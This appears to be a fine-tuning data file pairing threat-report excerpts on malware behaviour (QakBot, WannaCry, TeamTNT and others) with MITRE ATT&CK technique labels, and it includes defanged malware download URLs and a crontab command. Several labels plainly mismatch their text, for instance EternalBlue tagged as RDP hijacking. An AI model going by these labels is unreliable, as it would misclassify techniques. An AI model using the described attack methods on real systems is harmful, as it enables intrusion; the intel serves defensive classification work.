"When executed, QakBot will check whether it has previously been executed on the machine by checking for the specified malware folder. If QakBot discovers it is a first time run, it will relaunch itself from cmd.exe with the /C parameter that will inform the loader to proceed and run its Anti-VM checks on the machine and return the results to the parent process. If QakBot detects it is running in a VM environment, then the final payload will not be decrypted since QakBot uses the return value from these checks in its final decryption routine. Figure 7 below shows the QakBot environment check logic","['T1057 - Process Discovery', 'T1055.012 - Process Injection: Process Hollowing', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1083 - File and Directory Discovery']",fine_tune
loaddl: a command responsible for downloading and executing additional modules using the rundll32.exe process. selfkill: a command that is responsible for self-terminating and deleting the malware from the machine,['T1105 - Ingress Tool Transfer'],fine_tune
"WMI permanent event subscriptions can be used to trigger actions when specified conditions are met. Attackers often use this functionality to persist the execution of backdoors at system start up. Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding. WMI Consumers specify an action to be performed, including executing a command, running a script, adding an entry to a log, or sending an email. WMI Filters define conditions that will trigger a Consumer, including system startup, the execution of a program, the passing of a specified time and many others. Creating a WMI permanent event subscription requires administrative privileges on a system",['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],fine_tune
"The RTF file contains macro codes that will execute a PowerShell command to retrieve a dynamic-link library (DLL) file before executing it using odbcconf.exe, a command-line utility related to Microsoft Data Access Components. The DLL will drop and execute a malicious JScript using regsvr32.exe, another command-line utility, to download another JScript and execute it using the same regsvr32.exe. During analysis, we received a PowerShell command that downloads Cobalt Strike from hxxps://5[.]135[.]237[.]216[/]RLxF","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1218.008 - Signed Binary Proxy Execution: Odbcconf']",fine_tune
"In additional to the browsers credential stealer, Olympic Destroyer drops and executes a system stealer. The stealer attempts to obtain credentials from LSASS with a technique similar to that used by Mimikatz","['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1003.001 - OS Credential Dumping: LSASS Memory']",fine_tune
"The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines",['T1095 - Non-Application Layer Protocol'],fine_tune
"As seen in the above image, the Bazar backdoor can handle quite a few commands. This next section focuses on case 1, which retrieves various pieces of additional information on the infected machine",['T1005 - Data from Local System'],fine_tune
2) Scan the network environment of the infected machine; checks for availability of specific ports on servers that share the same internal and external subnet mask (i.e 255.255.0.0\16). 3) Try to exploit the following Remote Code Execution vulnerabilities in the targeted servers,['T1046 - Network Service Discovery'],fine_tune
"Harvest cookies and a password database for supported browsers. Supports: Win7 IE, Win10 IE, Edge, Chrome, and Naver Whale - Recursively search a path and upload file metadata (timestamps, size, and full path). - Spawn a thread to recursively search a path and upload files as a ZIP archive",['T1539 - Steal Web Session Cookie'],fine_tune
"A recent Lokibot campaign has been spotted, which made use of a tunneling service to spread the malware. According to My Online Security, threat actors behind this campaign leveraged a service known as Ngrok. As claimed on the website, Ngrok reveals servers in NATs and Firewalls over secure tunnels. Hence, the service acted as a direct tunnel or a VPN which the actors exploited to push the malware through spam emails",['T1572 - Protocol Tunneling'],fine_tune
"The script itself works as a downloader for additional files needed for loading the malware into the system, which are hosted separately as a ZIP package. We confirmed two different techniques used for distributing the Melcoz backdoor: the AutoIt loader script and DLL Hijack",['T1105 - Ingress Tool Transfer'],fine_tune
"The Magic Hound campaign was also discovered deploying an IRC Bot, which we have named MagicHound.Leash. We discovered this connection when we observed a DropIt sample installing a backdoor Trojan that used IRC for its C2 communications",['T1113 - Screen Capture'],fine_tune
"5) Downloads the ‘kinsing’ malware and runs it 6) Uses crontab to download and run the shell script every minute 7) Looks for other commands running in cron, and if ones were identified, deletes all cron jobs, including its own. We are not certain why the attackers chose to do so, but that is what the script executes:crontab -l || sed '/update.sh/d' || crontab","['T1059.004 - Command and Scripting Interpreter: Bash', 'T1053.003 - Scheduled Task/Job: Cron']",fine_tune
"Once on a victim’s PC, the dropper executable is launched and it decrypts and loads the Gh0stRAT DLL into memory. It then passes the config buffer to the extracted DLL and calls the exported function (Shellex",['T1129 - Server Software Component'],fine_tune
The Warzone RAT can steal credentials from the Outlook and Thunderbird email clients as shown in the image below (figure 10,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"Emotet could be dropping malware with Remote Access Trojan (RAT) capabilities damaging the integrity of the overall network. After reviewing systems for Emotet indicators, reimage and move clean systems to a containment VLAN, segregated from the infected network. It is possible that the Outlook account may now have rules to auto-forward all emails to an external email address, which could result in a data breach. Search base64 encoded network stream data referencing the organization’s email domain. If references are found, perform additional analysis to see if a data breach has occurred",['T1114.001 - Email Collection: Local Email Collection'],fine_tune
"Attack overview . Flagpro is used in the initial stage of attacks to investigate target’s environment, download a second stage malware and execute it. Flagpro communicates with a C&amp;C server, and it receives commands to execute from the server, or Flagpro downloads a second stage malware and then executes it. Therefore, Flagpro may have already been used for attacking cases at that point. We call this sample using MFC as “Flagpro v2.0” and old one as “Flagpro v1.0” in this article. Once Flagpro is launched, it communicate with a C&amp;C server and executes the received commands as shown in the above list. If it is not included in both Download Command fields in the command, Flagpro will not execute the main processes such as downloading, executing OS commands, collecting authentication information, and so on. If a Download Command field has “ExecYes”, Flagpro downloads and executes the file. In requesting commands, sending execution results of OS commands or collected authentication information, Flagpro accesses a C&amp;C server with specific URL paths and queries. Following image is an example of the response: Detections . To detect attacks using Flagpro, it is effective to create and install custom signature both on network and endpoint devices. In addition, the investigation commands after Flagpro establishes the connection with the C&amp;C server like following are also useful for detection",['T1069.001 - Permission Groups Discovery: Local Groups'],fine_tune
Figure 5 Uploading a file to server via RGDoor Downloading a file from the server via RGDoor,['T1105 - Ingress Tool Transfer'],fine_tune
"If the configuration is parsed successfully, the program writes the string ""Meteor has started. to an encrypted log file, suggesting that the internal name of the malware is “Meteor“. As we will see later on in this article, another name was used in previous attacks. Throughout the entire execution of the malware, it keeps logging its actions to this same encrypted log file. Appendix C contains a helper script to decrypt the log file",['T1105 - Ingress Tool Transfer'],fine_tune
"Alongside evidence of compromise of the organization itself, Symantec also found a copy of one of the company’s own files, relating to its messaging software, on a staging server used by Chafer. The file was in a directory alongside a number of hacking tools used by the attackers",['T1005 - Data from Local System'],fine_tune
"Skidmap uses fairly advanced methods to ensure that it and its components remain undetected. For instance, its use of LKM rootkits — given their capability to overwrite or modify parts of the kernel — makes it harder to clean compared to other malware. In addition, Skidmap has multiple ways to access affected machines, which allow it to reinfect systems that have been restored or cleaned up",['T1059.004 - Command and Scripting Interpreter: Bash'],fine_tune
"During this activity, we noticed the wiper changing the system time to August 2012, as the temporary license key for the RawDisk driver requires the system time to not exceed the month of August, which is when the temporary license would expire. This modification to the system time was seen in the previous campaign, and the temporary license key within the wiper component is the exact same as wiper component from the 2012 attacks. The wiper itself queries the following registry keys to obtain a list of partitions to overwrite",['T1012 - Query Registry'],fine_tune
"Of note, we also discovered the Sofacy group using a very similar delivery document to deliver a new Trojan called Cannon. Cannon uses SMTPS and POP3S as its C2 channel compared to Zebrocy that uses a more commonly observed HTTP or HTTPS based C2. Add the layer of encryption that the SMTPS and POP3S protocols provide to the legitimate web-based service and you have a very difficult C2 channel to block",['T1071.003 - Mail Protocols'],fine_tune
"If you use /p, del displays the name of a file and sends the following message: FileName, Delete (Y/N)? To confirm the deletion, press Y. To cancel the deletion and display the next file name (that is, if you specified a group of files), press N. For example, the following command deletes all of the files in the \Work folder: Copy del \work - You can use wildcards (* and ?) to delete more than one file at a time. However, to avoid deleting files unintentionally, you should use wildcards cautiously with the del command. For example, if you type the following command: Copy del *.* The del command displays the following prompt: Are you sure (Y/N)? To delete all of the files in the current directory, press Y and then press ENTER. To cancel the deletion, press N and then press ENTER",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"To do this, Tick uses a number of publicly available hacktools such as Mimikatz, GSecdump, and Windows Credential Editor",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"Win32/Diskcoder.D has the ability to spread via SMB. First, it scans internal networks for open SMB shares. It looks for the following shares",['T1135 - Network Share Discovery'],fine_tune
"In January 2016 we published our analysis of a spearphishing attack against energy companies in Ukraine. That attack probably has a connection to the infamous BlackEnergy attacks in 2015 because the attackers used exactly the same mail server to send spearphishing messages. However, the attacks in January 2016 were different. Instead of using the BlackEnergy malware family, the attackers used a relatively simple open-source backdoor, written in the Python programming language, called GCat. The Python code of the GCat backdoor was obfuscated, then converted into a stand-alone executable using the PyInstaller program",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"HttpBrowser is a remote access tool whose name originates from the hard-coded ""HttpBrowser/1.0"" User-Agent. Table 2 lists the commands available to threat actors in one of the HttpBrowser variants",['T1083 - File and Directory Discovery'],fine_tune
"When the malicious RTF document is opened, two things happen that allow the attacker malware to run. First, the ""packager trick"" is leveraged in order to embed the initial QuasarRAT dropper (qrat.exe) in the malicious RTF document. Its called the ""packager trick"" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious ""scriptlet"" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial ""qrat.exe"" dropper from the current user's %tmp% directory",['T1204.002 - User Execution: Malicious File'],fine_tune
"It uses two components to avoid detection by a single component. The dropper uses an old trick in a new way: It appends the RAT to a Word document. Upon opening the document, a macro is executed that will extract the malware and execute it",['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"Finally, the attacker added their own devices as allowed IDs for active sync for a number of mailboxes using Set-CASMailbox","['T1098.005 - Device Registration', 'T1098.002 - Account Manipulation: Additional Email Delegate Permissions']",fine_tune
SDBbot is a new remote access Trojan (RAT) written in C++ that has been delivered by the Get2 downloader in recent TA505 campaigns. Its name is derived from the debugging log file (sdb.log.txt) and DLL name (BotDLL[.]dll) used in the initial analyzed sample. It also makes use of application shimming [1] for persistence,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
"1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. The content of both files is shown in the appendix section of this report. Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. and only continues if the file exists. 3) Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. 6) Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. and only continues if the file exists",['T1083 - File and Directory Discovery'],fine_tune
"1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. In the case of file 8892279f3. the remote location is http://185.203.119[.]184/Dropbox/request. and only continues if the file exists. 2) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. 3) Similarly, the VBA code then writes batch code to another text file - Audio.txt. 6) Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. In the case of file 8892279f3. the remote location is http://185.203.119[.]184/Dropbox/request",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"The dropped file is executed after terminating any process with the same name. For persistence, it adds a shortcut for the file at the %STARTUP% directory",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
The data exfiltration process runs in the following sequence: The temp.ini files are copied into a text file that matches the pattern,['T1020 - Automated Exfiltration'],fine_tune
Recursively generate a list of files in a directory and send to the control server - Terminate a specific process. The process is identified by the control server sending the PID to the malware,"['T1057 - Process Discovery', 'T1543.003 - Create or Modify System Process: Windows Service', 'T1119 - Automated Collection']",fine_tune
"Upon opening the attachment, a typical luring mechanism is employed instructing the victim to enable macros, as seen in Figure 2. FireEye has observed the attackers behind this campaign using three different approaches",['T1204.002 - User Execution: Malicious File'],fine_tune
After the files are encrypted the program will write a ransom note to each folder and directory on the system called read_me_unlock.txt,['T1047 - Windows Management Instrumentation'],fine_tune
"In october 2016 Group-IB published the report about the Cobalt group. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Therefore, the Cobalt group registered domains are similar to real ones (for example, diebold.pw), and configured their email server to distribute acting as these legitimate domains (fig. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. Cobalt Strike provides the ability to use the Artifact Kit framework for these purposes and even modify it, as it is distributed in the source code. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"The exploit used, named EternalBlue, exploits a vulnerability in the Server Message Block (SMB) protocol which allows the malware to spread to all unpatched Windows systems from XP to 2016 on a network that have this protocol enabled. This vulnerability allows remote code execution over SMB v1. WannaCry utilizes this exploit by crafting a custom SMB session request with hard-coded values based on the target system. Notably, after the first SMB packet sent to the victim’s IP address, the malware sends two additional packets to the victim containing the hard-coded IP addresses 192.168.56.20 and 172.16.99.5",['T1563.002 - Remote Service Session Hijacking: RDP Hijacking'],fine_tune
"The file /tmp/.rOuYXzdOF was most likely used as a mutex, ensuring only one copy of Netwire could run at a time. Next, .default.conf was a configuration file storing data required for Netwire to communicate with command and control. On the Windows side, this is usually stored in the Registry",['T1112 - Modify Registry'],fine_tune
"This time, the text is from the novel ""The Brothers Karamazov"" by Fyodor Dostoevsky (a Russian writer). The malicious document drops a Python interpreter and PoetRAT. The author made a few changes to the PoetRAT malware, though. First, the malware uses pyminifier to obfuscate the Python script and avoid detection based on string or YARA rules: The obfuscation is a base64 and an LZMA compression algorithm. For example, the variables are stored in a ""Constant.py"" file containing the C2 server and the configuration. The most notable change is the protocol used to download and upload files",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
The backdoor determines its C2 server using a Domain Generation Algorithm (DGA) to construct and resolve a subdomain of avsvmcloud[.]com. The Update method is responsible for initializing cryptographic helpers for the generation of these random C2 subdomains. Subdomains are generated by concatenating a victim userId with a reversible encoding of the victims local machine domain name,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"The attack starts with a phishing email that contains a malicious link to a file hosted on Google Docs named “Annual Bonus Report.doc”. When the user clicks on the link, the TrickBot dropper downloads onto the target machine. This differs from previous TrickBot attacks we have seen, where TrickBot is usually dropped through a Microsoft Office document or by another malware like Emotet","['T1204.002 - User Execution: Malicious File', 'T1566.002 - Phishing: Spearphishing Link']",fine_tune
"Ahnlab, a South Korean software company, simultaneously published a paper regarding Bisonal's activity in South Korea. In this case, the infection vector has changed from previous samples. The initial stage is a binary that drops a decoy document (Powerpoint or Excel document), a VisualBasic script and the packed Bisonal payload. The payload is dropped with a .jpg extension that's been renamed to "".exe. The payload has been packed with a new packer. The code of Bisonal is similar to the version of 2019",['T1137.006 - Office Application Startup: Add-ins'],fine_tune
"One of the discovered MarkiRAT variants was used to intercept the execution of Telegram and launch the malware along with it. The core of the malware is the same as described previously for MarkiRAT, with the exception of functions in charge of the malware’s deployment on the victim machine",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"This behavior is detailed later in the blog under ""Malware Functionality"". Unlike WannaCry, Nyetya does not appear to contain an external scanning component. Two of the executables are used to recover user credentials (32 and 64 bits) while the third one is the PsExec binary. For example: The dropped .tmp executable seems to be based on Mimikatz, a popular open source tool used for recovery of user credentials from computer memory using several different techniques. The recovered credentials are then used for launching malware on the remote system using WMIC and PsExec. These mechanisms are used to attempt installation and execution of perfc.dat on other devices to spread laterally. The two exploits drop a modified version of DoublePulsar which is a persistent backdoor running in kernel space of the compromised system. The developer modified only few bytes from the original version but this modification allowed it to evade network detection and the open source DoublePulsar scanning tools available on the Internet. The modification can be divided in 3 parts: - The attacker modified the command codes: - The attacker modified the response codes: - The attacker modified where the response code is stored in the SMB response packet. PsExec is used to execute the following instruction (where w.x.y.z is an IP address) using the current user's windows token (from the ""Recovery of User Credentials"" section above) to install the malware on the networked device. WMI is used to execute the following command which performs the same function as above, but using the current user's username and password (as username and password), retrieved from the ""Recovery of User Credentials"" section above",['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
"For persistence and remote control, the script downloads another base64-encoded Python script from hxxps://ptpb[.]pw/OAZG. After several steps of de-obfuscation, we found the attackers using EmPyre for post-exploitation control. EmPyre is a Python post-exploitation agent built on cryptologically-secure communications and a flexible architecture",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
"When required by the attacker, it is capable of remotely activating the microphone on the compromised computer and capturing sounds. The audio recordings are encoded to MP3 format using a legitimate lame.dll library, which is downloaded and misused by the malware",['T1123 - Audio Capture'],fine_tune
"2022–01–15, MSTIC (Microsoft Threat Intelligence Center) identified and unveiled a cyberattack targeting Ukrainian organizations with “WhisperGate” overwrites Master Boot Record(MBR) and files",['T1561.002 - Disk Structure Wipe'],fine_tune
The AppleSeed payload has an export function named “DllRegisterServer” which will be called when the DLL is executed using RegSvr32.exe. DllRegisterServer has a function that is responsible for performing the DLL initialization and setup that includes the following steps,"['T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Yet, both in August 2018 and 2019 Silent Librarian was lining up for the new academic years, once again targeting the same kind of victims in over a dozen countries",['T1598.003 - Spearphishing Link'],fine_tune
"Manage the use of privileged accounts. Configure access controls, including file, directory, and network share permissions with the principle of least privilege in mind. If a user only needs to read specific files, they should not have write access to those files, directories, or shares. Secure use of WMI by authorizing WMI users and setting permissions. Disable or limit remote WMI and file sharing. Block remote execution through PSEXEC. Segregate networks and functions. Harden network devices and secure access to infrastructure devices. Perform out-of-band network management. Disable SMBv1 and block all versions of SMB at the network boundary by blocking TCP port 445 with related protocols on UDP ports 137-138 and TCP port 139; this applies to all boundary devices",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"The original malware scans the list of running process looking for outlook, iexplore or firefox. If found it injects the DLL into the process","['T1055.001 - Process Injection: Dynamic-link Library Injection', 'T1057 - Process Discovery']",fine_tune
Download a file from a remote server - Create a text file on the local machine - Execute a file - Execute a shell (cmd.exe) command and save the results to disk - Upload the results of a previously executed shell command to a remote server,['T1105 - Ingress Tool Transfer'],fine_tune
"The main purpose of P8RAT is downloading and executing payloads (consisting of PE and shellcode) from its C2 server. However, we were unable to obtain any sample of the subsequent payloads for this malware",['T1105 - Ingress Tool Transfer'],fine_tune
"Unlike previous RDAT samples, this particular sample only uses DNS tunneling for its C2 communications with no HTTP fallback channel. This RDAT sample can only use TXT queries in its DNS tunnel and will issue queries structured like the following","['T1071.004 - Application Layer Protocol: DNS', 'T1008 - Fallback Channels']",fine_tune
"Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. AppLocker works well for executables and over time it has also been improved to control various script types, including JScript, PowerShell and VBScript. This has significantly reduced the attack surface and forced attackers, including more sophisticated groups, to find new methods of launching executable code. Payload dropper in an XSL file Another executable used to attempt bypass of the AppLocker feature is msxsl.exe, a Windows utility used to run XSL (eXtensible Stylesheet Language) transformations. Stage 4 — Downloaders . PowerShell leading to shellcode . The PowerShell chain is launched from an obfuscated JScript scriptlet previously downloaded from the command and control (C2) server and launched using cmstp.exe. JScript downloader . As opposed to PowerShell loading a Cobalt Strike beacon, the other observed infection chain continues using JScript to deliver the final payload, which is a JScript backdoor. The commands are relatively limited, but are sufficient enough to instruct the backdoor to download and execute a new payload, remove itself from the system or download and launch additional scriptlets. Interestingly, if an attack used version 4.4, the attackers decided to add a variable ""researchers"" initialized to the string ""We are not cobalt gang, stop associating us with such skids. Cobalt Strike beacon . On the PowerShell side of the infection chain, the downloaded final payload is a Cobalt Strike beacon, which provides the attacker with rich backdoor functionality. Cobalt Strike is used by penetration testers and offensive security researchers when delivering their services, but it is generally, just as Meterpreter, detected by anti-malware software as it can be easily used by malicious actors",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
The malware initializes by gathering system and malware filename information and creates a mutex to make sure only one instance of the Trojan executes on the system at a time. Kazuar generates its mutex by using a process that begins with obtaining the MD5 hash of a string “[username]=&gt;singleton-instance-mutex”. The Trojan then encrypts this MD5 hash using an XOR algorithm and the serial number of the storage volume. Kazuar uses the resulting ciphertext to generate a GUID that it appends to the string “Global\\” to create the mutex,"['T1087.001 - Account Discovery: Local Account', 'T1082 - System Information Discovery']",fine_tune
"Key takeaways: - TeamTNT is using new, open source tools to steal usernames and passwords from infected machines. The campaign has been active for approximately one month and is responsible for thousands of infections globally. Background . TeamTNT has been one of the most active threat groups since mid 2020. One of the most recent findings (June 4, 2021) came from Palo Alto researchers who discovered the TeamTNT Chimaera repository. TeamTNT C&amp;C website showing infection statistics . Figure 2. The full list of supported programs can be found on the Lazagne page on Github. Windows module - persistence . Kubernetes root payload component . This component is mainly responsible for installing a cryptocurrency miner on infected devices, allowing the attacker to connect remotely to the system using SSH. Decoded shell script . TeamTNT IRC bot . As described previously this year by Lacework, TeamTNT includes ZiggyStartux in their IRC bot. IRC Bot available commands . TeamTNT AWS stealer . Similar to the other TeamTNT components, the AWS stealer (see figure 11) first installs missing dependencies. Conclusion . AT&amp;T Alien Labs has discovered new malicious files distributed by the threat actor TeamTNT",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
"As mentioned by the Cisco Talos Intelligence Group, after executing the Micropsia registers itself against the C2 server",['T1082 - System Information Discovery'],fine_tune
"The binary uses a file system watcher in order to generate an event each time a file is modified in one of the directories in the ""Paths"" variable of the configuration file. Filesystem monitoring routine Once a file is available, the Dog.exe binary exfiltrates it, using email or FTP depending on the configuration",['T1119 - Automated Collection'],fine_tune
"At line 40, that data is piped through the base64 utility for decoding, dropped in a subfolder in the /tmp directory, given executable permissions via chmod, and then launched as the 2nd stage payload","['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",fine_tune
"Sodinokibi ransomware, also known as REvil or Sodin, has been responsible for a series of high-profile attacks since April 2019",['T1204.002 - User Execution: Malicious File'],fine_tune
PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C&amp;Cs,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],fine_tune
"After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
Retrieves the following data from the system by leveraging Windows Management Instrumentation (WMI) queries and environment variables: IP Address from Network Adapter Configuration OS Name OS Architecture Computer Name Computer Domain Name Username - IP Address from Network Adapter Configuration - OS Name - OS Architecture - Computer Name - Computer Domain Name - Username,"['T1047 - Windows Management Instrumentation', 'T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery']",fine_tune
"Endpoint Protection . The Trojan.Hydraq Incident . It has been about a week since news of the mysterious Hydraq Trojan (also known as Aurora) attack broke with the unveiling of a threat by Google to pull its operations out of China. Although concrete details of the attacks are not yet public, Google made reference to a number of Gmail accounts that were compromised during or after the attacks. In the more sophisticated attacks, the attacker will use a new zero day vulnerability, as obviously this will have a greater success rate. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. Considering the efforts that the attackers put into staging the attack as a whole, the end malware is not so sophisticated. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. The backchannel URL addresses have been changed by the Dynamic DNS sites to resolve to a loopback address (127.0.0.2). This in effect severs the connection to the control servers. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. The use of browsers other than Internet Explorer by an increasingly large number of people may have helped limit the “attack surface” by reducing the number of computers vulnerable to the Internet Explorer vulnerability used in this attack",['T1016 - System Network Configuration Discovery'],fine_tune
"One of the most noticeable differences is the use of encryption over the entire TCP segment, as a way for it to evade detection. Additionally, this seems to be a lightweight version of Gh0stRAT, as it only has 12 commands, compared to the 73 for a full Gh0stRAT sample; 3 of those commands are undocumented. Also, unlike most samples that I receive on my honeypot, this sample did not start as a DLL that communicates to a distribution server in order to download the stage1","['T1573 - Encrypted Channel', 'T1095 - Non-Application Layer Protocol']",fine_tune
The attackers gain an initial foothold on targeted machines via phishing emails containing malicious attachments. The emails are often industry-specific and crafted to entice a victim to open the message and execute the attached document,['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
The companies believe that the actors acquired legitimate credentials prior to the cyber-attack to facilitate remote access,"['T1078 - Valid Accounts', 'T1219 - Remote Access Software']",fine_tune
"A loading script, written in Ruby, was saved to the following location and set to run as a Scheduled Task",['T1053.005 - Scheduled Task/Job: Scheduled Task'],fine_tune
"The name EvilBunny is derived from debug information embedded in the malware’s dropper. Furthermore, the specified piece incorporates a Lua 5.1 interpreter, which allows the malware to execute Lua scripts and change its behavior at runtime. The dropper will place the EvilBunny malware under %APPDATA%\Perf Manager\ or %WINDIR%\msapps\; depending whether the dropper is running with administrative privileges or not. Also, the malware will generate numerous files to help its execution and frequently reply back to the C&amp;C with status messages. Similar to its dropper, the binary seeks to evade sandboxes. Next to that, the main thread also runs sub threads to maintain log files the malware creates during execution and to keep track of the overall system load the malware creates. The worker threads are internally dubbed ‘hearer’, which is believed to stand for ‘listener’. It can be concluded thereafter that the malware authors were no English native speakers. The main action of the malware is carried out in the main thread, which parses commands and executes Lua scripts, provided by the worker threads via command files. Each hearer has a dedicated method to receive instructions which is either separately via HTTP from the server, aggregated through a downloaded data file or as tasks to be configured as scheduled tasks. In general this is a rather uncommon technique, but it has been observed before, especially in connection with some adware variants",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"The malware continues by creating a service named mssecsvc2.0 with a binary path pointing to the running module with the arguments ""-m security"". Once created, the malware starts the service",['T1543.003 - Create or Modify System Process: Windows Service'],fine_tune
Sends phishing mail to given recipients and receives user’s access token using device code authentication flow,['T1528 - Steal Application Access Token'],fine_tune
"First-stage analysis . When the user opens the phishing email, it presents a Spanish social engineering message (""Payment: Find scheduled payment dates attached""). The figure below shows a screenshot of one of the emails we looked at. It decrypts the URL for the second-stage from hardcoded bytes, saves it to the ""Templates"" folder, and executes it. Second-stage analysis . The second-stage executable is packed with a Delphi-based packer. The DLL sets a timer, as shown below, which will execute the downloader function periodically. The DLL decodes the hex string using the following steps: We have written a small Python script to decrypt the third stage. The same decryption method was also used to decrypt the hardcoded command and control (C2).The resulting file is also a DLL, which the second stage reflectively loads. Injected DLL analysis (UAC bypass using two techniques) . It checks if `C:\Windows\Finex` exists. Decrypting and executing Lokibot . After attempting to bypass the UAC, the third-stage DLL will check if `AutoRunKeyFlag` is set. For this DLL, it is not set. This dropper uses three stages and three layers of encryption to hide its final payload",['T1053 - Scheduled Task/Job'],fine_tune
"Find out all system information, including hardware being used and the exact version of your operating system, including security patches. Steal from your clipboard (things you’ve copied) - Control your printer - Lock/Restart/Shutdown your computer - Update the implant with a new address to beacon to or new functionality",['T1082 - System Information Discovery'],fine_tune
"This step establishes the persistence of the malware across reboots on the endpoint - Once the decrypted MZ marker is written to the Startup folder, the 2.hwp is deleted from the endpoint",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Interestingly as we continued to expand and pivot in our data set, one of the C2 IPs used by an IRC bot payload from Magic Hound was found to be the same IP used to deliver a different IRC bot called MPK",['T1071 - Application Layer Protocol'],fine_tune
"They include registry, file system manipulations, and searching files with specific patterns, and retrieving and transferring them back to the server and gathering network status information",['T1083 - File and Directory Discovery'],fine_tune
